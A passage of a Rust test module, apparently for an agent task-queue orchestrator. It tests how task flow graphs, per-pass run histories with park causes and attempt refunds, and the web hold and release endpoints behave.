17620 let mut p = flow_task(&[]);
17621 p.title = "Parent title".to_owned();
17622 p.status = TaskStatus::Done;
17623 p
17624 }
17625
17626 #[test]
17627 fn flow_opens_with_the_parent_task_of_a_followup() {
17628 let p = parent_task();
17629 let pid = p.id.clone();
17630 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17631 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17632 let n = &f.nodes[0];
17633 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17634 assert_eq!(
17635 n.label,
17636 format!("Follow-up of {}", crate::queue::short(&pid))
17637 );
17638 assert_eq!(n.detail.as_deref(), Some("Parent title"));
17639 assert_eq!(n.status, Some("done"));
17640 assert_eq!(n.status_of, "task");
17641 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17642 assert_eq!(f.nodes[1].key, "start");
17643 assert_eq!(f.edges[0].from, "origin");
17644 assert_eq!(
17645 f.edges[0].label,
17646 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17647 );
17648 }
17649
17650 #[test]
17651 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17652 let o = followup_origin(
17653 &fu(Some("gone")),
17654 |_| None,
17655 |_| {
17656 Some(RunState::new(
17657 std::path::PathBuf::from("."),
17658 "main".to_owned(),
17659 "0".to_owned(),
17660 "t".to_owned(),
17661 crate::config::Config::default(),
17662 ))
17663 },
17664 );
17665 assert!(o.parent.is_none());
17666 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17667 let n = &f.nodes[0];
17668 assert_eq!(n.status_of, "run");
17669 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17670 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17671 }
17672
17673 #[test]
17674 fn flow_followup_with_nothing_readable_has_no_link() {
17675 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17676 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17677 let n = &f.nodes[0];
17678 assert_eq!(n.href, None);
17679 assert_eq!(n.note, Some("unreadable"));
17680 assert!(!n.readable);
17681 }
17682
17683 #[test]
17684 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17685 let o = followup_origin(&fu(None), |_| None, |_| None);
17686 let mut t = flow_task(&[]);
17687 t.origin_chat = Some("c1".to_owned());
17688 let f = task_flow(&t, &[], 5, Some(&o));
17689 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17690 t.source = Source::Agent {
17691 run: "c1".to_owned(),
17692 node: crate::queue::CHAT_NODE.to_owned(),
17693 };
17694 let f = task_flow(&t, &[], 5, Some(&o));
17695 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17696 assert_eq!(
17697 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17698 ("chat", "origin")
17699 );
17700 }
17701
17702 #[test]
17703 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17704 let mut p = parent_task();
17705 p.id = "a b/c".to_owned();
17706 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17707 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17708 }
17709
17710 #[test]
17711 fn flow_opens_with_the_chat_that_queued_the_task() {
17712 let mut t = flow_task(&[]);
17713 t.source = Source::Agent {
17714 run: "a b/c".to_owned(),
17715 node: crate::queue::CHAT_NODE.to_owned(),
17716 };
17717 t.issue = Some(crate::queue::IssueRef {
17718 number: 3,
17719 repo: "o/r".into(),
17720 });
17721 let view = TaskView::from(t.clone());
17722 assert!(view.source_label.contains("issue #3"));
17723 assert_eq!(view.source_link.unwrap().href, "#/chat/a%20b%2Fc");
17724 let f = flow_for(&t, &[]);
17725 assert_eq!(f.nodes[0].key, "chat");
17726 assert_eq!(f.nodes[0].kind, "chat");
17727 assert_eq!(
17728 f.nodes[0].label,
17729 format!("Chat {}", crate::queue::short("a b/c"))
17730 );
17731 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17732 assert_eq!(f.nodes[1].key, "start");
17733 assert_eq!(
17734 f.edges[0],
17735 FlowEdge {
17736 from: "chat".to_owned(),
17737 to: "start".to_owned(),
17738 label: "queued from chat".to_owned(),
17739 attempt: AttemptCost::None,
17740 }
17741 );
17742 }
17743
17744 #[test]
17745 fn flow_has_no_chat_box_for_other_sources() {
17746 for source in [
17747 Source::Human,
17748 Source::Issue {
17749 number: 3,
17750 repo: "o/r".to_owned(),
17751 },
17752 Source::Agent {
17753 run: "20260904-014455-ab12".to_owned(),
17754 node: "implement".to_owned(),
17755 },
17756 ] {
17757 let mut t = flow_task(&[]);
17758 t.source = source;
17759 let f = flow_for(&t, &[]);
17760 assert_eq!(f.nodes[0].key, "start");
17761 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17762 assert!(f.edges.iter().all(|e| e.from != "chat"));
17763 }
17764 }
17765
17766 const FA: &str = "20260902-140501-aaaa";
17767 const FB: &str = "20260902-140502-bbbb";
17768
17769 #[test]
17770 fn flow_follows_blocked_retry_merged_to_done() {
17771 let mut t = flow_task(&[FA, FB]);
17772 t.status = TaskStatus::Done;
17773 let f = flow_for(
17774 &t,
17775 &[
17776 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17777 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17778 ],
17779 );
17780 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17781 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17782 assert_eq!(f.edges.len(), 3);
17783 assert_eq!(f.edges[0].label, "claimed");
17784 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17785 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17786 assert_eq!(f.edges[2].label, "merged \u{2192} done");
17787 assert_eq!(
17788 f.nodes[2].href.as_deref(),
17789 Some("#/runs/20260902-140502-bbbb")
17790 );
17791 assert!(f.nodes[2].decided);
17792 }
17793
17794 #[test]
17795 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17796 let quota = || {
17797 flow_run(RunStatus::Stalled, |s| {
17798 s.quota.push(crate::run::QuotaLoss {
17799 cause: crate::agent::QuotaCause::UsageLimit,
17800 agent: String::new(),
17801 seat: "judge-1".to_owned(),
17802 node: "judge".to_owned(),
17803 at: Timestamp::now(),
17804 reset: None,
17805 })
17806 })
17807 };
17808 let mut t = flow_task(&[FA, FA]);
17809 t.status = TaskStatus::Queued;
17810 let f = flow_for(&t, &[(FA, Some(quota()))]);
17811 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17812 assert_eq!(f.nodes[1].note, Some("interrupted"));
17813 assert_eq!(
17814 f.nodes[1].status, None,
17815 "no outcome copied onto an earlier pass"
17816 );
17817 assert_eq!(
17818 f.edges[1].attempt,
17819 AttemptCost::Unknown,
17820 "a resume does not prove the earlier pass was refunded"
17821 );
17822 assert!(f.edges[1].label.contains("resume the same run"));
17823 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17824 assert_eq!(
17825 f.edges[2].label,
17826 "stalled after a resume, refund unknown \u{2192} queued"
17827 );
17828 assert!(!f.nodes[2].decided, "a stall is not a decision");
17829 assert_eq!(f.nodes[2].note, Some("no verdict"));
17830 }
17831
17832 #[test]
17833 fn flow_single_pass_quota_stall_is_refunded() {
17834 let t = flow_task(&[FA]);
17835 let f = flow_for(
17836 &t,
17837 &[(
17838 FA,
17839 Some(flow_run(RunStatus::Stalled, |s| {
17840 s.quota.push(crate::run::QuotaLoss {
17841 cause: crate::agent::QuotaCause::UsageLimit,
17842 agent: String::new(),
17843 seat: "judge-1".to_owned(),
17844 node: "judge".to_owned(),
17845 at: Timestamp::now(),
17846 reset: None,
17847 })
17848 })),
17849 )],
17850 );
17851 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17852 }
17853
17854 #[test]
17855 fn flow_parked_refunds_and_stall_without_quota_spends() {
17856 let mut t = flow_task(&[FA]);
17857 t.status = TaskStatus::Queued;
17858 let f = flow_for(
17859 &t,
17860 &[(
17861 FA,
17862 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17863 )],
17864 );
17865 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17866 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17867 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17868 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17869 assert!(!f.nodes[1].decided);
17870 }
17871
17872 #[test]
17873 fn flow_keeps_an_unreadable_run_as_its_own_node() {
17874 let t = flow_task(&[FA, FB]);
17875 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17876 assert_eq!(f.nodes[1].note, Some("unreadable"));
17877 assert!(!f.nodes[1].readable);
17878 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17879 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17880 }
17881
17882 #[test]
17883 fn flow_names_the_branch_of_a_review_only_run() {
17884 let t = flow_task(&[FA]);
17885 let f = flow_for(
17886 &t,
17887 &[(
17888 FA,
17889 Some(flow_run(RunStatus::Merged, |s| {
17890 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17891 })),
17892 )],
17893 );
17894 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17895 assert_eq!(
17896 f.nodes[1].detail.as_deref(),
17897 Some("review-only run of branch magi/x/A")
17898 );
17899 }
17900
17901 #[test]
17902 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17903 let mut t = flow_task(&[FA]);
17904 t.status = TaskStatus::Held;
17905 let pr = crate::run::PrRecord {
17906 url: "https://example.test/pr/1".to_owned(),
17907 number: 1,
17908 state: "open".to_owned(),
17909 checks: "green".to_owned(),
17910 round: 0,
17911 rounds: 3,
17912 red_at_merge: Vec::new(),
17913 };
17914 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17915 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17916 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17917 t.status = TaskStatus::Done;
17918 let f = flow_for(&t, &[(FA, Some(blocked))]);
17919 assert_eq!(f.edges[1].label, "closed by hand: task is done");
17920 }
17921
17922 #[test]
17923 fn flow_with_no_runs_goes_from_queued_to_queued() {
17924 let t = flow_task(&[]);
17925 let f = flow_for(&t, &[]);
17926 assert_eq!(f.nodes.len(), 2);
17927 assert_eq!(f.edges.len(), 1);
17928 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17929 assert_eq!(f.edges[0].attempt, AttemptCost::None);
17930 }
17931
17932 #[test]
17935 fn a_parked_non_terminal_run_is_explained_as_parked() {
17936 let mut s = RunState::new(
17937 PathBuf::from("/repo/magi"),
17938 "main".to_owned(),
17939 "0123456789abcdef".to_owned(),
17940 "Do it".to_owned(),
17941 Config::default(),
17942 );
17943 s.status = RunStatus::Implementing;
17944 s.parked = true;
17945 let task = Task::new(
17946 "t".to_owned(),
17947 "Do it".to_owned(),
17948 PathBuf::from("/repo/magi"),
17949 Source::Human,
17950 );
17951 let v = task_run_view(
17952 "20260902-140501-aaaa",
17953 Some(&s),
17954 RunSlot {
17955 n: 1,
17956 resumed: false,
17957 resumed_later: None,
17958 prior: None,
17959 last: true,
17960 ..RunSlot::default()
17961 },
17962 &task,
17963 );
17964 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17965 }
17966
17967 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17968 let mut s = flow_run(RunStatus::Implementing, edit);
17969 s.parked = false;
17970 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17971 task_run_view(
17972 "20260902-140501-aaaa",
17973 Some(&s),
17974 RunSlot {
17975 n: 1,
17976 resumed: false,
17977 resumed_later: Some(2),
17978 prior: None,
17979 last: false,
17980 ..RunSlot::default()
17981 },
17982 &task,
17983 )
17984 }
17985
17986 #[test]
17987 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17988 let v = earlier_pass_view(|_| {});
17989 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17990 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17991 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17992 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17993 assert_eq!(v.exit, RunExit::Interrupted);
17994 assert_eq!(v.attempt, AttemptCost::Unknown);
17995 }
17996
17997 #[test]
17998 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17999 let v = earlier_pass_view(|s| {
18000 s.quota.push(crate::run::QuotaLoss {
18001 cause: crate::agent::QuotaCause::UsageLimit,
18002 agent: String::new(),
18003 seat: "judge-1".to_owned(),
18004 node: "judge".to_owned(),
18005 at: Timestamp::now(),
18006 reset: None,
18007 });
18008 });
18009 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
18010 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18011 assert_eq!(v.attempt, AttemptCost::Unknown);
18012 }
18013
18014 #[test]
18015 fn the_current_pass_states_its_recorded_cause_and_cost() {
18016 let slot = || RunSlot {
18017 n: 1,
18018 resumed: false,
18019 resumed_later: None,
18020 prior: None,
18021 last: true,
18022 ..RunSlot::default()
18023 };
18024 let task = flow_task(&["20260902-140501-aaaa"]);
18025 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18026 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18027 assert_eq!(
18028 (v.exit, v.attempt),
18029 (RunExit::Parked, AttemptCost::Refunded)
18030 );
18031 let spent = flow_run(RunStatus::Blocked, |_| {});
18032 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18033 assert_eq!(v.attempt, AttemptCost::Spent);
18034 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18035 }
18036
18037 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18038 crate::run::RunPass {
18039 index,
18040 started_at: Timestamp::now(),
18041 resumed: index > 0,
18042 ended_at: end.as_ref().map(|_| Timestamp::now()),
18043 end,
18044 task_entry: true,
18045 }
18046 }
18047
18048 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18049 Some(crate::run::PassEnd::Parked { cause })
18050 }
18051
18052 fn upgrade_cause() -> crate::run::ParkCause {
18053 crate::run::ParkCause::Upgrade {
18054 from: "0.121.0".to_owned(),
18055 to: Some("0.121.1".to_owned()),
18056 }
18057 }
18058
18059 fn settled_pass(
18060 run: &str,
18061 index: usize,
18062 cost: crate::queue::PassCost,
18063 ) -> crate::queue::TaskPass {
18064 crate::queue::TaskPass {
18065 run: run.to_owned(),
18066 pass_index: index,
18067 started_at: None,
18068 cost,
18069 attempts_after: 1,
18070 settled_at: Timestamp::now(),
18071 parked: None,
18072 }
18073 }
18074
18075 const RUN_X: &str = "20261011-223708-4334";
18076
18077 #[test]
18078 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18079 use crate::queue::PassCost;
18080 let run = flow_run(RunStatus::Implementing, |s| {
18081 s.passes = vec![
18082 recorded_pass(0, parked(upgrade_cause())),
18083 recorded_pass(1, None),
18084 ];
18085 });
18086 let mut task = flow_task(&[RUN_X, RUN_X]);
18087 task.attempts = 1;
18088 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18089 let h = task_history(&task, |_| Some(run.clone()));
18090 assert_eq!(h.len(), 2);
18091 assert_eq!(h[0].kind, "competition");
18092 assert_eq!(h[1].kind, "resume");
18093 assert_eq!(
18094 (h[0].exit, h[0].attempt),
18095 (RunExit::Parked, AttemptCost::Refunded)
18096 );
18097 assert!(
18098 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18099 "{}",
18100 h[0].outcome
18101 );
18102 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18103 assert!(
18104 h[0].outcome.contains("pass #2 resumed the same run"),
18105 "{}",
18106 h[0].outcome
18107 );
18108 assert!(
18109 h[0].outcome.contains("pass 1 of 2 over run"),
18110 "{}",
18111 h[0].outcome
18112 );
18113 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18114 assert_eq!(
18115 h[0].exit_label,
18116 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18117 );
18118 let f = task_flow(&task, &h, 2, None);
18119 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18121 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18122 assert!(
18123 f.edges[1].label.contains("upgrade 0.121.0"),
18124 "{}",
18125 f.edges[1].label
18126 );
18127 assert!(
18128 f.edges[1].label.contains("resume the same run"),
18129 "{}",
18130 f.edges[1].label
18131 );
18132 assert_eq!(f.nodes[1].note, Some("parked"));
18133 }
18134
18135 #[test]
18136 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18137 let mut a = flow_run(RunStatus::Implementing, |s| {
18138 s.passes = vec![
18139 recorded_pass(0, parked(upgrade_cause())),
18140 recorded_pass(1, None),
18141 ];
18142 });
18143 let mut b = flow_run(RunStatus::Failed, |s| {
18144 s.passes = vec![recorded_pass(0, None)];
18145 });
18146 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18147 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18148 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18149 let mut task = flow_task(&[]);
18150 task.start("a".into());
18151 task.start("b".into());
18152 task.start("a".into());
18153 assert_eq!(task.runs, ["b", "a"]);
18154 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18155 let h = task_history(&task, |id| {
18156 Some(if id == "a" { a.clone() } else { b.clone() })
18157 });
18158 assert_eq!(
18159 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18160 ["a", "b", "a"]
18161 );
18162 assert_eq!(h[0].attempt, AttemptCost::Refunded);
18163 assert!(h[0].outcome.contains("upgrade"));
18164 assert_eq!(h[2].kind, "resume");
18165 assert!(h[2].pass.is_some());
18166 task.runs = vec!["a".into(), "b".into(), "a".into()];
18168 let old = task_history(&task, |id| {
18169 Some(if id == "a" { a.clone() } else { b.clone() })
18170 });
18171 assert_eq!(
18172 old.iter()
18173 .map(|v| (&v.id, &v.kind, v.attempt))
18174 .collect::<Vec<_>>(),
18175 h.iter()
18176 .map(|v| (&v.id, &v.kind, v.attempt))
18177 .collect::<Vec<_>>()
18178 );
18179 }
18180
18181 #[test]
18182 fn an_upgrade_whose_target_was_not_known_says_so() {
18183 let run = flow_run(RunStatus::Implementing, |s| {
18184 s.passes = vec![
18185 recorded_pass(
18186 0,
18187 parked(crate::run::ParkCause::Upgrade {
18188 from: "0.121.0".to_owned(),
18189 to: None,
18190 }),
18191 ),
18192 recorded_pass(1, None),
18193 ];
18194 });
18195 let task = flow_task(&[RUN_X, RUN_X]);
18196 let h = task_history(&task, |_| Some(run.clone()));
18197 assert!(
18198 h[0].outcome.contains("upgrade from 0.121.0"),
18199 "{}",
18200 h[0].outcome
18201 );
18202 assert_eq!(h[0].attempt, AttemptCost::Unknown);
18204 }
18205
18206 #[test]
18207 fn each_pass_keeps_its_own_cause_across_several_resumes() {
18208 use crate::queue::PassCost;
18209 use crate::run::ParkCause;
18210 let run = flow_run(RunStatus::Implementing, |s| {
18211 s.passes = vec![
18212 recorded_pass(0, parked(upgrade_cause())),
18213 recorded_pass(
18214 1,
18215 parked(ParkCause::Interrupt {
18216 reason: "task a1b2 asked to run first".to_owned(),
18217 }),
18218 ),
18219 recorded_pass(2, parked(ParkCause::Operator)),
18220 recorded_pass(3, None),
18221 ];
18222 });
18223 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18224 task.attempts = 1;
18225 task.passes = (0..3)
18226 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18227 .collect();
18228 let h = task_history(&task, |_| Some(run.clone()));
18229 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18230 assert!(
18231 h[1].outcome.contains("task a1b2 asked to run first"),
18232 "{}",
18233 h[1].outcome
18234 );
18235 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18236 assert!(
18237 h[2].outcome.contains("operator asked the loop to park"),
18238 "{}",
18239 h[2].outcome
18240 );
18241 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18242 let f = task_flow(&task, &h, 2, None);
18243 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18244 }
18245
18246 #[test]
18247 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18248 let run = flow_run(RunStatus::Implementing, |s| {
18249 s.passes = vec![
18250 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18251 recorded_pass(1, None),
18252 ];
18253 });
18254 let task = flow_task(&[RUN_X, RUN_X]);
18255 let h = task_history(&task, |_| Some(run.clone()));
18256 assert_eq!(h[0].exit, RunExit::Interrupted);
18257 assert_eq!(h[0].attempt, AttemptCost::Unknown);
18258 assert!(
18259 h[0].outcome.contains("without recording why"),
18260 "{}",
18261 h[0].outcome
18262 );
18263 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18264 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18265 }
18266
18267 #[test]
18268 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18269 use crate::queue::PassCost;
18270 let run = flow_run(RunStatus::Implementing, |s| {
18273 s.passes = vec![
18274 recorded_pass(0, parked(upgrade_cause())),
18275 recorded_pass(1, None),
18276 ];
18277 });
18278 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18279 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18280 let h = task_history(&task, |_| Some(run.clone()));
18281 assert!(h[0].pass.is_none());
18282 assert_eq!(h[0].exit, RunExit::Interrupted);
18283 assert_eq!(h[0].attempt, AttemptCost::Unknown);
18284 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18285 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18286 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18287 let legacy = flow_run(RunStatus::Implementing, |_| {});
18289 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18290 assert!(h.iter().all(|v| v.pass.is_none()));
18291 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18292 }
18293
18294 #[test]
18295 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18296 use crate::queue::PassCost;
18297 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18300 web.task_entry = false;
18301 let run = flow_run(RunStatus::Implementing, |s| {
18302 s.passes = vec![
18303 recorded_pass(0, parked(upgrade_cause())),
18304 web.clone(),
18305 recorded_pass(2, None),
18306 ];
18307 });
18308 let mut task = flow_task(&[RUN_X, RUN_X]);
18309 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18310 let h = task_history(&task, |_| Some(run.clone()));
18311 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18312 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18313
18314 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18317 web0.task_entry = false;
18318 let run = flow_run(RunStatus::Implementing, |s| {
18319 s.passes = vec![web0.clone(), recorded_pass(1, None)];
18320 });
18321 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18322 assert!(h[0].pass.is_none());
18323 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18324 assert!(h[1].pass.is_some());
18325 }
18326
18327 #[tokio::test]
18328 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18329 let dir = tempfile::tempdir().unwrap();
18330 let queue = Queue::at(dir.path().join("queue"));
18331 let ui = Arc::new(Ui::new(
18332 queue.clone(),
18333 Questions::at(dir.path().join("questions")),
18334 Talks::at(dir.path().join("talks")),
18335 dir.path().join("runs"),
18336 dir.path().to_path_buf(),
18337 dir.path().to_path_buf(),
18338 ));
18339 let mut t = Task::new(
18340 "recover".into(),
18341 "Inspect".into(),
18342 PathBuf::from("."),
18343 Source::Human,
18344 );
18345 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18346 t.start("run-A".into());
18347 t.release_operator("choice", Some("resume-question"));
18348 t.resume_override = Some(crate::queue::OperatorResume {
18349 question_id: "resume-question".into(),
18350 at: jiff::Timestamp::now(),
18351 conductor_rehold: None,
18352 forced: true,
18353 pinned_run: Some("run-A".into()),
18354 });
18355 t.hold_machine(Some("inspection pending".into()));
18356 t.edit("recover".into(), "Reuse approved PR head".into())
18357 .unwrap();
18358 queue.put(&mut t).unwrap();
18359 let mut cli = t.clone();
18360 cli.release_operator("cli", None);
18361 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18362 let reloaded = queue.get(&t.id).unwrap();
18363 assert_eq!(reply.task.status, TaskStatus::Queued);
18364 assert!(reloaded.resume_override.is_none());
18365 assert_eq!(reloaded.answers, t.answers);
18366 let mut web = reloaded.resumption.unwrap();
18367 let cli = cli.resumption.unwrap();
18368 assert_eq!(web.source, "web");
18369 web.source = cli.source.clone();
18370 web.at = cli.at;
18371 assert_eq!(web, cli);
18372 }
18373
18374 #[tokio::test]
18375 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18376 let f = Fixture::start().await;
18377 let queue = f.queue();
18378 let mut task = Task::new(
18379 "spent".to_owned(),
18380 "Try again".to_owned(),
18381 PathBuf::from("/repo/magi"),
18382 Source::Human,
18383 );
18384 task.start("20260902-140502-bbbb".to_owned());
18385 task.fail("agent gave up", 9);
18386 queue.put(&mut task).expect("file the task");
18387
18388 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18389 assert_eq!(held.status, 200);
18390 assert_eq!(held.json()["status_str"], "held");
18391
18392 let released = f
18393 .post(&format!("/api/queue/{}/release", task.id), None)
18394 .await;
18395 assert_eq!(released.status, 200);
18396 assert_eq!(released.json()["status_str"], "queued");
18397 assert_eq!(released.json()["resumption"]["source"], "web");
18398 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18399 let mut cli = task.clone();
18400 cli.release_operator("cli", None);
18401 let web = queue.get(&task.id).unwrap().resumption.unwrap();
18402 let cli = cli.resumption.unwrap();
18403 assert_eq!(web.instruction, cli.instruction);
18404 assert_eq!(web.answers_through, cli.answers_through);
18405 assert_eq!(web.runs_through, cli.runs_through);
18406 assert_eq!(web.cleared_reason, cli.cleared_reason);
18407 assert_eq!(
18408 released.json()["attempts"],
18409 0,
18410 "release is a real second chance, not an instant re-hold"
18411 );
18412 assert_eq!(
18413 queue.get(&task.id).expect("reload").status,
18414 TaskStatus::Queued,
18415 "the change is on disk, not only in the reply"
18416 );
18417 assert!(
18418 !f.home
18419 .path()
18420 .join("queue")
18421 .join(format!("{}.lock", task.id))
18422 .exists(),
18423 "the claim the mutation took is released again"
18424 );
18425 }
18426
18427 #[tokio::test]
18428 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18429 let f = Fixture::start().await;
18430 let queue = f.queue();
18431 let mut task = Task::new(
18432 "busy".to_owned(),
18433 "Running right now".to_owned(),
18434 PathBuf::from("/repo/magi"),
18435 Source::Human,
18436 );
18437 queue.put(&mut task).expect("file the task");
18438 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18439
18440 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18441
18442 assert_eq!(res.status, 409);
18443 assert_eq!(
18444 queue.get(&task.id).expect("reload").status,
18445 TaskStatus::Queued,
18446 "the refused hold changed nothing"
18447 );
18448 }
18449
18450 #[tokio::test]
18451 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18452 let f = Fixture::start().await;
18453 let queue = f.queue();
18454 let mut task = Task::new(
18455 "waiting on the migration".to_owned(),
18456 "Do the thing".to_owned(),
18457 PathBuf::from("/repo/magi"),
18458 Source::Human,
18459 );
18460 queue.put(&mut task).expect("file the task");
18461
18462 let held = f
18463 .post(
18464 &format!("/api/queue/{}/hold", task.id),
18465 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18466 )
18467 .await;
18468 assert_eq!(held.status, 200, "{}", held.body);
18469 assert_eq!(held.json()["status_str"], "held");
18470 assert_eq!(
18471 held.json()["hold_reason"],
18472 "waiting for 20260101-000000-aaaa to land"
18473 );
18474
18475 let listed = f.get("/api/queue").await.json();
18476 assert_eq!(
18477 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18478 "the card reads the reason off the same list route"
18479 );
18480
18481 let mut plain = Task::new(
18484 "no reason given".to_owned(),
18485 "Do another thing".to_owned(),
18486 PathBuf::from("/repo/magi"),
18487 Source::Human,
18488 );
18489 queue.put(&mut plain).expect("file the task");
18490 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18491 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18492 assert!(held_plain.json()["hold_reason"].is_null());
18493
18494 let released = f
18495 .post(&format!("/api/queue/{}/release", task.id), None)
18496 .await;
18497 assert_eq!(released.status, 200);
18498 assert!(
18499 released.json()["hold_reason"].is_null(),
